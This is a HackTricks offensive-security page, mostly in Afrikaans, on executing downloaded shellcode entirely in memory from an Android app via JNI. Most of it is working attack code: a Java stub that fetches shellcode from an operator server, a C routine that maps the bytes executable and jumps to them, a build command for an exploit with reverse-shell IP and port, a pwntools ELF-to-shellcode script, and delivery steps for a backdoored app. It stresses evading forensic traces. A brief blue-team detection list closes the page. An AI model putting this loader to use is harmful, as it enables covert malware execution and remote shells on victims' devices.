Android In-Memory Native Code-uitvoering via JNI (shellcode)

Reading time: 5 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Hierdie bladsy dokumenteer 'n praktiese patroon om native payloads volledig in geheue uit te voer vanaf 'n onbetroubare Android-app-proses met behulp van JNI. Die vloei vermy om enige on-disk native binary te skep: laai rou shellcode-bytes oor HTTP(S) af, stuur dit na 'n JNI-brug, allokeer RX-geheue, en spring daarnaartoe.

Why it matters

  • Verminder forensic artifacts (geen ELF op disk nie)
  • Kompatibel met "stage-2" native payloads gegenereer vanaf 'n ELF exploit binary
  • Stem ooreen met tradecraft wat deur moderne malware en red teams gebruik word

High-level pattern

  1. Fetch shellcode bytes in Java/Kotlin
  2. Call a native method (JNI) with the byte array
  3. In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint

Minimal example

Java/Kotlin side

java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}

// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);

C JNI-kant (arm64/amd64)

c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}

JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;

// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;

jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }

memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);

// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);

int (*entry)(void) = (int (*)(void))buf;
int ret = entry();

// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}

Aantekeninge en kanttekeninge

  • W^X/execmem: Moderne Android dwing W^X af; anonymous PROT_EXEC mappings is steeds oor die algemeen toegelaat vir app-prosesse met JIT (onderhewig aan SELinux-beleid). Sommige toestelle/ROMs beperk dit; val terug op JIT-allocated exec pools of native bridges wanneer nodig.
  • Argitekture: Verseker dat die shellcode-argitektuur met die toestel ooreenstem (arm64-v8a algemeen; x86 slegs op emulators).
  • Entrypunt-kontrak: Bepaal 'n konvensie vir jou shellcode-entry (geen args vs struktuurpointer). Hou dit posisie-onafhanklik (PIC).
  • Stabiliteit: Maak die instruksie-cache skoon voordat jy spring; ongelyke cache kan op ARM laat crash.

Packaging ELF → position‑independent shellcode 'n Robuuste operator-pyplyn is om:

  • Bou jou exploit as 'n statiese ELF met musl-gcc
  • Skakel die ELF om na 'n self‑loading shellcode blob met behulp van pwntools’ shellcraft.loader_append

Bou

bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""

Skakel ELF na raw shellcode (amd64 voorbeeld)

python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")

Waarom loader_append works: dit emiteer 'n klein loader wat die ingebedde ELF programsegmente in geheue map en beheer oordra na sy entrypoint, wat jou 'n enkele raw blob gee wat memcpy’ed kan word en deur die app uitgevoer kan word.

Delivery

  • Host sc on an HTTP(S) server you control
  • The backdoored/test app downloads sc and invokes the JNI bridge shown above
  • Listen on your operator box for any reverse connection the kernel/user-mode payload establishes

Validation workflow for kernel payloads

  • Use a symbolized vmlinux for fast reversing/offset recovery
  • Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)

Hardening/Detection (blue team)

  • Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
  • Enforce strict code integrity (no dynamic native loading from network) and validate update channels
  • Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks